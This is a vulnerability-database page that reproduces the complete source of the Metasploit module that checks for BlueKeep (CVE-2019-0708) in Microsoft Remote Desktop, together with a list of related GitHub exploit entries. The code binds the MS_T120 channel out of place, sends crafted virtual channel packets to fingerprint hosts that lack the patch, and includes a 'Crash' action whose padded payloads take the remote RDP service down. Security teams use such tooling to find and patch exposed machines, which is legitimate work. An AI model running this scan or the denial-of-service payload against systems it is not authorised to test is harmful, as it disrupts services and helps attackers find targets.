Lucene search
K

CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check

🗓️ 03 Jun 2019 21:54:33Reported by National Cyber Security Centre, JaGoTu, zerosum0x0, Tom SellersType 
metasploit
 metasploit
🔗 www.rapid7.com👁 468 Views

Check for CVE-2019-0708 vulnerability by sending non-DoS packets and optionally triggering the DoS vulnerability

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Use After Free in Microsoft
15 May 201919:53
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
23 May 201907:47
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
21 May 201906:57
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
12 Jun 201903:37
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
19 May 201923:32
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
23 May 201918:37
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
7 Sep 201908:35
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
19 Jun 202121:55
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
27 May 201912:52
githubexploit
GithubExploit
Exploit for Use After Free in Microsoft
23 Jul 201903:15
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::RDP
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',
        'Description' => %q{
          This module checks a range of hosts for the CVE-2019-0708 vulnerability
          by binding the MS_T120 channel outside of its normal slot and sending
          non-DoS packets which respond differently on patched and vulnerable hosts.
          It can optionally trigger the DoS vulnerability.
        },
        'Author' =>
          [
            'National Cyber Security Centre', # Discovery
            'JaGoTu', # Module
            'zerosum0x0', # Module
            'Tom Sellers' # TLS support, packet documenentation, DoS implementation
          ],
        'References' =>
          [
            [ 'CVE', '2019-0708' ],
            [ 'URL', 'https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
            [ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]
          ],
        'DisclosureDate' => '2019-05-14',
        'License' => MSF_LICENSE,
        'Actions' => [
          ['Scan', 'Description' => 'Scan for exploitable targets'],
          ['Crash', 'Description' => 'Trigger denial of service vulnerability'],
        ],
        'DefaultAction' => 'Scan',
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'AKA' => ['BlueKeep']
          }
      )
    )
  end

  def report_goods
    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: name,
      info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
      refs: references
    )
  end

  def run_host(ip)
    # Allow the run command to call the check command

    status = check_host(ip)
    if status == Exploit::CheckCode::Vulnerable
      print_good(status[1].to_s)
    elsif status == Exploit::CheckCode::Safe
      vprint_error(status[1].to_s)
    else
      vprint_status(status[1].to_s)
    end

    status
  end

  def rdp_reachable
    rdp_connect
    rdp_disconnect
    return true
  rescue Rex::ConnectionRefused
    return false
  rescue Rex::ConnectionTimeout
    return false
  end

  def check_host(_ip)
    # The check command will call this method instead of run_host
    status = Exploit::CheckCode::Unknown

    begin
      begin
        rdp_connect
      rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
        return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')
      end

      status = check_rdp_vuln
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog(e)
    rescue RdpCommunicationError
      vprint_error('Error communicating RDP protocol.')
      status = Exploit::CheckCode::Unknown
    rescue Errno::ECONNRESET
      vprint_error('Connection reset')
    rescue StandardError => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog(e)
    ensure
      rdp_disconnect
    end

    status
  end

  def check_for_patch
    begin
      6.times do
        _res = rdp_recv
      end
    rescue RdpCommunicationError
      # we don't care
    end

    # The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length
    # The arch governs which of the packets triggers the desired response
    # which is an MCS Disconnect Provider Ultimatum or a timeout.

    # Disconnect Provider message of a valid size for each platform
    # has proven to be safe to send as part of the vulnerability check.
    x86_string = '00000000020000000000000000000000'
    x64_string = '0000000000000000020000000000000000000000000000000000000000000000'

    if action.name == 'Crash'
      vprint_status('Sending denial of service payloads')
      # Length and chars are arbitrary but total length needs to be longer than
      # 16 for x86 and 32 for x64. Making the payload too long seems to cause
      # the DoS to fail. Note that sometimes the DoS seems to fail. Increasing
      # the payload size and sending more of them doesn't seem to improve the
      # reliability. It *seems* to happen more often on x64, I haven't seen it
      # fail against x86. Repeated attempts will generally trigger the DoS.
      x86_string += 'FF' * 1
      x64_string += 'FF' * 2
    else
      vprint_status('Sending patch check payloads')
    end

    chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST
    channel_id = [1005].pack('S>')
    x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)

    x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)

    6.times do
      rdp_send(x86_packet)
      rdp_send(x64_packet)

      # A single pass should be sufficient to cause DoS
      if action.name == 'Crash'
        sleep(1)
        rdp_disconnect

        sleep(5)
        if rdp_reachable
          print_error("Target doesn't appear to have been crashed. Consider retrying.")
          return Exploit::CheckCode::Unknown
        else
          print_good('Target service appears to have been successfully crashed.')
          return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')
        end
      end

      # Quick check for the Ultimatum PDU
      begin
        res = rdp_recv(-1, 1)
      rescue EOFError
        # we don't care
      end
      return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))

      # Slow check for Ultimatum PDU. If it doesn't respond in a timely
      # manner then the host is likely patched.
      begin
        4.times do
          res = rdp_recv
          # 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3
          if res.include?(['0300000902f0802180'].pack('H*'))
            return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')
          end
        end
      rescue RdpCommunicationError
        # we don't care
      end
    end

    Exploit::CheckCode::Safe
  end

  def check_rdp_vuln
    # check if rdp is open
    is_rdp, version_info = rdp_fingerprint
    unless is_rdp
      vprint_error('Could not connect to RDP service.')
      return Exploit::CheckCode::Unknown
    end
    rdp_disconnect
    rdp_connect
    is_rdp, server_selected_proto = rdp_check_protocol

    requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto
    product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'
    info = "Detected RDP on #{peer} (Windows version: #{product_version})"

    service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}"
    info << " (#{service_info})"

    vprint_status(info)

    if requires_nla
      vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')
      return Exploit::CheckCode::Safe
    end

    chans = [
      ['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
      ['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
    ]

    success = rdp_negotiate_security(chans, server_selected_proto)
    return Exploit::CheckCode::Unknown unless success

    rdp_establish_session

    result = check_for_patch

    if result == Exploit::CheckCode::Vulnerable
      report_goods
    end

    # Can't determine, but at least we know the service is running
    result
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
9.5High risk
Vulners AI Score9.5
CVSS 210
CVSS 3.19.8
EPSS0.99999
468